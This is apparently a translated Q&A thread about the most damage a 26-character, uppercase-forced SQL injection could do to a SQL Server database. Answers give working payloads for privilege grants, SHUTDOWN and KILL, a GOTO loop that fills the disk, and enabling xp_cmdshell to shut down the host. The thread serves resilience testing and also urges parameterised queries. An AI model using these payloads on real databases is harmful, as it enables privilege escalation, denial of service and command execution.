Iniezione di SQL Server: quanto danno in 26 caratteri?

Sto testando la resilienza contro gli attacchi di iniezione su un database di SQL Server.

Tutti i nomi di tabella nel db sono in minuscolo e le regole di confronto fanno distinzione tra maiuscole e minuscole, Latin1_General_CS_AS .

La stringa che posso inviare è forzata in maiuscolo e può avere una lunghezza massima di 26 caratteri. Quindi non posso inviare una DROP TABLE perché il nome della tabella sarebbe in maiuscolo e quindi la dichiarazione fallirebbe a causa delle regole di confronto.

Quindi - qual è il danno massimo che potrei fare in 26 personaggi?

MODIFICARE

So tutto sulle query con parametri e così via: immaginiamo che la persona che ha sviluppato il front-end che costruisce la query per l'invio non abbia utilizzato i parametri in questo caso.

Inoltre, non sto provando a fare qualcosa di nefasto, questo è un sistema creato da qualcun altro nella stessa organizzazione.

Facile:

GRANT EXECUTE TO LowlyDBA

Oppure, suppongo che in questo caso sarebbe

grant execute to lowlydba 

Fai la tua scelta di variazioni su questo.

Con ogni probabilità potresti essere in grado di testarlo ora con il tuo sistema attuale, ma qualsiasi numero di piccole modifiche nel database nel tempo potrebbe invalidare il test. La stringa di caratteri potrebbe cambiare, qualcuno potrebbe creare una stored procedure in minuscolo che ha un potenziale distruttivo - qualsiasi cosa. Non puoi mai dire con la certezza del 100% che non c'è un attacco distruttivo a 26 personaggi che qualcuno potrebbe costruire.

Ti suggerisco di trovare un modo per far sì che lo sviluppatore segua le migliori pratiche di sicurezza standard di base del settore, anche solo per il tuo bene come qualcuno che presumo sia almeno parzialmente responsabile in caso di violazioni della sicurezza.

Modificare:

E per malware / divertimento, potresti provare ad abilitare ogni flag di traccia. Questo sarebbe interessante da osservare. Sembra che un post sul blog che Brent Ozar farebbe ...

DBCC TRACEON(xxxx, -1)

Il SHUTDOWNcomando o il KILLcomando (scegli un numero casuale superiore a 50) richiede entrambi significativamente meno di 26 caratteri, anche se si spera che l'account che esegue le query dell'applicazione non disponga di autorizzazioni sufficienti per eseguirli.

È possibile creare una tabella da riempire fino alla fine del tempo o allo spazio su disco che si esaurisce, a seconda dell'evento che si verifica per primo.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

A seconda della definizione di danno, è possibile eseguire questo: RITARDO IN ATTESA '23: 59 'Per essere veramente malvagi, è possibile utilizzare uno strumento di test del carico per eseguirlo da 32.768 client.

Variazione basata sulla risposta di @ MikaelEriksson e sulla risposta di @ MartinSmith al mio commento iniziale:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

Inizialmente avevo provato a fare un'istruzione WHILE, ma il meglio che potevo fare era 27 caratteri:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

Ma Martin ha sottolineato GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... la radice di tutto il male e creatore di un'istruzione insert a ciclo infinito in 26 caratteri.

Detto questo ... potrebbe essere vantaggioso attenersi a CHAR (99) anziché a int in quanto utilizzerebbe più spazio. Altre opzioni usano nomi più lunghi e infrangono il limite di 26 caratteri ... o usano meno spazio di archiviazione per riga.

Codice test completo:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

A seconda di quanto dannoso consideri un spegnimento. :-)

Ciò richiede che xp_cmdshell sia abilitato sul server, cosa che non è il caso dell'ultima versione di SQL Server. Richiede inoltre che l'account del servizio disponga del diritto di arresto, che può avere o meno.

L'abilitazione di xp_cmdshell probabilmente supera il limite di 26 caratteri. Consentiresti iniezioni multiple?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE